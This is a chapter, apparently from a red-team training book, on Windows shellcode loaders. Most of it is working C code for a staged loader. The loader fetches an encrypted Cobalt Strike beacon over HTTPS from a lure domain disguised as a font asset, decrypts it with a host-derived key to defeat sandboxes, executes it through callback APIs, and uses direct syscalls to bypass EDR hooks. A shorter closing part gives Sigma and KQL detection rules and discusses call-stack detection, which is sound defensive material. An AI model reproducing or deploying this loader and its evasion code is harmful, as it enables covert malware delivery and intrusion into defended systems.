Chapter 195

Shellcode Loaders and Stagers

A loader is the thin piece of code responsible for fetching, decrypting, and executing a shellcode payload. Keeping the loader minimal and the payload encrypted-at-rest means static scanners find nothing and the entire detection burden falls on behavioral analysis. This chapter covers the architectural choices — stager vs. stageless, encryption schemes, execution primitives, and the increasingly common technique of calling NT functions via direct syscalls to avoid EDR user-mode hooks — that determine whether a loader survives on a defended endpoint.

Scenario

You need to deliver a 500KB Cobalt Strike beacon shellcode to a defended Windows 11 target. Dropping the raw shellcode to disk triggers Defender immediately. Embedding it in the loader binary triggers static heuristics. Your solution: a small (~10KB) loader that fetches encrypted shellcode over HTTPS at runtime, decrypts it in memory using a key derived from the host's machine GUID, and executes it via a Windows callback function — avoiding both disk writes and the Win32 API execution chain that EDRs monitor.

Stager Architecture

STAGELESS vs STAGED LOADER ═══════════════════════════════════════════════════════════════════════ STAGELESS: Single binary = loader + encrypted shellcode (embedded) + No network required after delivery + Works in air-gapped / offline environments - Larger file → more bytes for AV to scan - Shellcode detectable if encryption is weak or key is embedded STAGED: Stage-1 = small loader (~10KB) → fetches Stage-2 (encrypted SC) over network + Tiny stage-1 → low static detection surface + Shellcode never touches disk + Can be re-keyed per target (one delivery, many payloads) - Requires outbound HTTPS at execution time - Stage-2 fetch is a network IOC (URL, IP) OPTIMAL FOR DEFENDED TARGETS: Staged loader + per-host key derivation + encrypted shellcode at URL → stage-1 carries no shellcode bytes → static scan finds nothing dangerous → stage-2 encrypted differently per machine → cloud lookups can't match hash ═══════════════════════════════════════════════════════════════════════

Minimal HTTPS Stager

// Minimal stage-1 loader. Fetches encrypted shellcode over HTTPS,
// derives decryption key from MachineGuid registry value (unique per host),
// decrypts in-memory, executes via callback trick.
// Total compiled size: ~8-12KB.

#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

// Derive XOR key from MachineGuid — unique per installation
VOID DeriveKey(BYTE key[32]) {
    HKEY hk;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Cryptography", 0, KEY_READ, &hk);
    WCHAR guid[64] = {0};
    DWORD sz = sizeof(guid);
    RegQueryValueExW(hk, L"MachineGuid", NULL, NULL, (BYTE*)guid, &sz);
    RegCloseKey(hk);
    // SHA-256(guid bytes) → 32-byte AES key (simplified: use CNG BCrypt)
    // For XOR demo: use first 32 chars of GUID as raw key bytes
    WideCharToMultiByte(CP_UTF8, 0, guid, 32, (char*)key, 32, NULL, NULL);
}

// Fetch payload bytes from HTTPS URL
BYTE* FetchPayload(LPCWSTR host, LPCWSTR path, DWORD* outLen) {
    HINTERNET hS = WinHttpOpen(L"Mozilla/5.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hC = WinHttpConnect(hS, host, 443, 0);
    HINTERNET hR = WinHttpOpenRequest(hC, L"GET", path, NULL,
        WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hR, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        NULL, 0, 0, 0);
    WinHttpReceiveResponse(hR, NULL);

    DWORD totalRead = 0, avail = 0;
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, 1024 * 1024);
    while (WinHttpQueryDataAvailable(hR, &avail) && avail) {
        DWORD read = 0;
        WinHttpReadData(hR, buf + totalRead, avail, &read);
        totalRead += read;
    }
    *outLen = totalRead;
    WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
    return buf;
}

VOID StageMain() {
    BYTE key[32] = {0};
    DeriveKey(key);

    DWORD len = 0;
    BYTE* enc = FetchPayload(L"cdn.updates-live[.]com",
        L"/assets/fonts/roboto.woff2", &len);

    // Decrypt: XOR with 32-byte rolling key
    for (DWORD i = 0; i < len; i++)
        enc[i] ^= key[i % 32];

    // Execute via callback (see next section)
    ExecViaCallback(enc, len);
}

Payload Encryption Schemes

SchemeKey in binary?Defeats sandbox?Notes
Hardcoded XORYes (keyspace too small)NoTrivial to reverse; baseline only
AES-256 + hardcoded keyYes (key bytes visible)PartiallyBetter entropy; key still extractable
AES-256 + MachineGuid derived keyNo (derived at runtime)Yes — sandbox GUID ≠ target GUIDPer-host encryption; best for targeted
AES-256 + remote key exchange (ECDH)NoYes (server refuses non-target)Most robust; requires callback home for key
Deferred decryption (sleep + time check)N/A (timed release)Yes (sandbox timeout)Combine with other schemes

Direct Syscall Execution

// EDR hooks Win32 API execution chain by patching ntdll.dll stubs.
// Direct syscalls bypass this by calling the kernel directly with the correct syscall number.
// syscall numbers change between Windows versions — must be resolved dynamically.

// Method: walk ntdll on disk (unhooked copy) to find syscall IDs.
// "Hell's Gate" technique: read syscall number from ntdll's .text section.
// "Halo's Gate" extension: handle hooked stubs by looking at adjacent stubs.

// Minimal direct NtAllocateVirtualMemory shellcode execution (x64):

EXTERN_C NTSTATUS NtAllocVMem(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

// Resolve syscall number at runtime from ntdll (unhooked on-disk copy)
DWORD GetSyscallNum(const char* funcName) {
    // Map ntdll from disk to avoid hooked in-memory copy
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hMap  = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    BYTE*  base  = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    FARPROC fn = GetExportByName(base, funcName);
    // Syscall stub: mov eax, ; mov r10, rcx; syscall
    // The DWORD at offset 4 is the syscall number
    DWORD num = *(DWORD*)(fn + 4);

    UnmapViewOfFile(base);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return num;
}

// Inline ASM stub template (x64 MASM):
// NtAllocVMem PROC
//     mov rax, SYSCALL_NUM     ; resolved at runtime
//     mov r10, rcx
//     syscall
//     ret
// NtAllocVMem ENDP

Callback-Based Execution

// Execute shellcode by passing its address to a Windows callback function.
// The callback executes in the calling thread's context — no new thread created,
// no CreateThread / NtCreateThreadEx API call — avoids Sysmon EID 1 child process
// and most "remote thread" detection. Popular callback APIs:

// 1. EnumSystemLocalesA — invokes callback for each locale (dozens of calls)
VOID ExecViaCallback(BYTE* sc, DWORD len) {
    PVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, len);
    EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, LCID_INSTALLED);
}

// 2. EnumChildWindows — WNDENUMPROC callback
EnumChildWindows(NULL, (WNDENUMPROC)mem, 0);

// 3. CreateTimerQueueTimer — timer callback (delayed execution)
HANDLE hq = CreateTimerQueue();
HANDLE ht;
CreateTimerQueueTimer(&ht, hq, (WAITORTIMERCALLBACK)mem,
    NULL, 500, 0, WT_EXECUTEDEFAULT);

// 4. SetWindowsHookExW — WH_KEYBOARD_LL (spawns message pump thread for hook)
// 5. RtlRegisterWait — waitable timer callback
// 6. CopyFileExW — progress callback invoked per chunk
// 7. DrawStateW — output function callback

// All of these: shellcode address passed as a function pointer; Windows calls it.
// From an API-monitoring perspective: single VirtualAlloc + a seemingly benign
// Win32 API call (CopyFileExW, EnumSystemLocalesA). No explicit thread creation.

Detection Engineering

title: Shellcode Execution via Callback — EnumSystemLocales or EnumChildWindows
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID: 1116  # Malware detected
    ThreatName|contains: 'Trojan'
  amsi:
    EventID: 1006  # AMSI detection
  condition: selection or amsi
level: critical

title: WinHTTP Download Followed by VirtualAlloc + Execute
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
    CommandLine|contains: 'WinHttpOpen'
  condition: selection  # Correlate with memory events in EDR
level: medium

-- MDE KQL: shellcode loader pattern — fetch + alloc + exec (ETW correlation)
DeviceEvents
| where Timestamp > ago(1d)
| where ActionType in (
    "ShellcodeExecution","MemoryRemoteExecution",
    "RemoteThreadCreation","ProcessInjection")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, AdditionalFields

-- MDE KQL: network download followed by RWX memory allocation (beacon load)
let downloads = DeviceNetworkEvents
    | where RemotePort in (80, 443)
    | where SentBytes < 2000  // small outbound (GET request)
    | where ReceivedBytes > 50000  // large download
    | project DeviceName, DlTime=Timestamp, RemoteIP, InitiatingProcessId;
let allocs = DeviceEvents
    | where ActionType == "MemoryModified"
    | where AdditionalFields has "PAGE_EXECUTE"
    | project DeviceName, AllocTime=Timestamp, AdditionalFields, InitiatingProcessId;
downloads
| join kind=inner allocs on DeviceName, InitiatingProcessId
| where AllocTime between (DlTime .. (DlTime + 30s))
| project DlTime, DeviceName, RemoteIP, AllocTime, AdditionalFields

Q&A

A loader uses EnumSystemLocalesA to execute shellcode. Why does this evade many behavioral detection engines, and what detection approach reliably catches callback-based execution regardless of which callback API is used?

EnumSystemLocalesA is a legitimate Windows API that iterates locale identifiers and calls a user-provided callback for each one. Behavioral engines that enumerate "suspicious execution APIs" focus on CreateThread, CreateRemoteThread, NtCreateThreadEx, and RtlCreateUserThread — the standard thread creation surface. They do not typically monitor every API that accepts a function pointer as a callback. There are dozens of Windows APIs that call back into user-provided addresses, and maintaining a blocklist of all of them is both incomplete and prone to false positives (legitimate code uses EnumChildWindows with real callbacks constantly).

The detection approach that catches callback-based execution regardless of which specific callback API is used is call-stack analysis: when shellcode executes, its call stack unwinds through the callback dispatcher (e.g., kernel32!EnumSystemLocalesA[unknown region]). A well-instrumented EDR captures the full call stack at the moment a memory region executes. If the execution originates from a VirtualAlloc'd region (anonymous unbacked memory) rather than from a named module, the call stack shows an anonymous address — this is the universal indicator regardless of which callback wrapper was used. More specifically: if the return address in the call stack points into a memory region with no backing file object, that region is untrusted shellcode. Call-stack-based detection of unbacked return addresses catches: callback execution, APC injection, thread hijacking, and any other indirect invocation technique — as long as the shellcode itself is in unbacked memory. Module stomping (ch193) remains the primary evasion for this detection.